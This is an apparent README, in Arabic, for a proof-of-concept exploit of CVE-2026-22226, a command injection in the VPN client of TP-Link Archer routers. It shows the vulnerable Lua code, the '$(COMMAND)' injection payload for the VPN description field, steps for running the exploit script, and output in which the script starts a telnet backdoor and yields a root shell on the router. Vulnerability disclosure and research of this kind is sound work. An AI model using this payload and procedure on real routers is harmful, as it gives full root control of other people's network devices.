
إثبات المفهوم لـ CVE-2026-22226
إثبات المفهوم لـ CVE-2026-22226
حقن أوامر نظام التشغيل من جانب LAN مع المصادقة في عميل VPN لموجهات TP-Link Archer Wi-Fi
يخزن متحكم عميل VPN وصف الإدخال الذي يتحكم به المستخدم (des) في تكوين UCI باستخدام تعبير نمطي ضعيف للتحقق. عندما تتم قراءة الإدخال لاحقًا (أثناء تحريره في واجهة الويب)، تقوم get_ovpn_data() بإدراج des في أمر شل مقتبس يتم تمريره إلى os.execute() دون أي تعقيم:
-- get_ovpn_data() in vpn.lua
file_ovpn_path_local = string.format("/etc/openvpn/%s%s", des_name, ".ovpn")
cmd = string.format("echo '%s' > %s", file_ovpn_path_local, EXIST_OVPN_CURR_EDIT)
os.execute(cmd)
حرف الاقتباس المفرد (') يمر عبر تعبير التحقق النمطي، وهو كافٍ للخروج من اقتباس الشل وحقن الأوامر عبر استبدال $(). حقل des مضبوط على '$(COMMAND)' يحول الأمر إلى:
echo '/etc/openvpn/'$(COMMAND)'.ovpn' > /tmp/ovpn_curr_edit
لاحظ أن مخرجات الأمر لا تُعاد أبدًا في استجابة HTTP، لذا فإن الحقن أعمى. ولهذا نحتاج إلى قناة خارج النطاق (هنا يقوم نص PoC بتشغيل خادم telnetd للحصول على شل تفاعلي).
[!Note] لقد اختبرت هذا البرنامج النصي فقط على TP-Link Archer AX73 (AX5400، HW v2.0 EU، FW v1.2.1 - بناء 20250717)، ولكن من المحتمل أن تكون أجهزة Archer الأخرى معرضة للخطر أيضًا.
يتبع هذا الإثبات (PoC) العملية التالية:
admin.ovpndes مسموم، والهروب من سياق الاقتباس المفرد وحقن الحمولة عبر استبدال الأمرget_ovpn_data() عن طريق قراءة الإدخال مرة أخرى، مما يغذي حقل des المسموم إلى os.execute()[!Warning] يؤدي استغلال هذه الثغرة الأمنية إلى تنفيذ أوامر نظام التشغيل كـ
rootعلى الموجه (اختراق كامل للجهاز)، متجاوزًا التحقق من إدخالdesعبر حرف الاقتباس المفرد المسموح به.
تم الإعلان عن تبعيات Python داخل النص البرمجي، لذا يمكنك تشغيله مباشرة باستخدام مدير مشروع Python حديث، أو تثبيتها يدويًا باستخدام pip:
# using pipx
pipx run poc.py
# using uv
uv run poc.py
# using pip (legacy) then run with python
pip install requests pycryptodome
python poc.py
قم بتعيين عنوان IP الهدف وبيانات الاعتماد والحمولة في poc.py
قم بتشغيل النص البرمجي:
$ pipx run poc.py
INFO:__main__:TP-Link Archer Exploit PoC
INFO:__main__:Authentication ...
INFO:__main__:Authentication ... OK
INFO:__main__:Uploading .ovpn ...
INFO:__main__:Uploading .ovpn ... OK
INFO:__main__:Inserting VPN entry ...
INFO:__main__:Inserting VPN entry ... OK
INFO:__main__:Triggering command injection ...
INFO:__main__:Triggering command injection ... OK
INFO:__main__:Cleaning up ...
INFO:__main__:Cleaning up ... OK
$ telnet 192.168.0.1 1337
BusyBox v1.19.4 (2025-07-17 10:58:00 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
/www # id
uid=0(root) gid=0(root)
/www # uname -a
Linux Archer AX73 4.19.183 #1 SMP PREEMPT Thu Jul 17 10:22:47 CST 2025 armv7l GNU/Linux